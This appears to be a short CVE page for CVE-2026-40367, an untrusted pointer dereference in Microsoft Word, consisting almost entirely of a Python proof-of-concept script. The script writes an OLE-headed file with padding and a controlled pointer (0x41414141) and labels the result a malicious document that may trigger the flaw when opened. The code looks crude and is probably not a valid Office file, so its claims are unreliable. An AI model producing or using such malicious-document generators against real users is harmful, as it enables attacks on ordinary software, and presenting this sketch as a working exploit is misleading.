CVE-2026-40367 Microsoft Office Word 未信任指针解引用漏洞

# This is a conceptual Proof of Concept generator for CVE-2026-40367 # It demonstrates how to craft a file structure that triggers the untrusted pointer dereference. import struct def generate_malicious_doc(filename): # Header for a generic Office file format (simplified) header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1' # OLE header # Constructing a payload with a malicious pointer # Offset 0x100 usually contains critical structure pointers # We inject an invalid or controlled address (e.g., 0x41414141) malicious_pointer = struct.pack('<I', 0x41414141) # Padding to reach the vulnerable structure offset padding = b'\x00' * 0xF8 # Combine data data = header + padding + malicious_pointer with open(filename, 'wb') as f: f.write(data) print(f"[+] Malicious file '{filename}' generated successfully.") print(f"[+] Attempting to open with Microsoft Word may trigger the vulnerability.") if __name__ == "__main__": generate_malicious_doc("cve_2026_40367_poc.doc")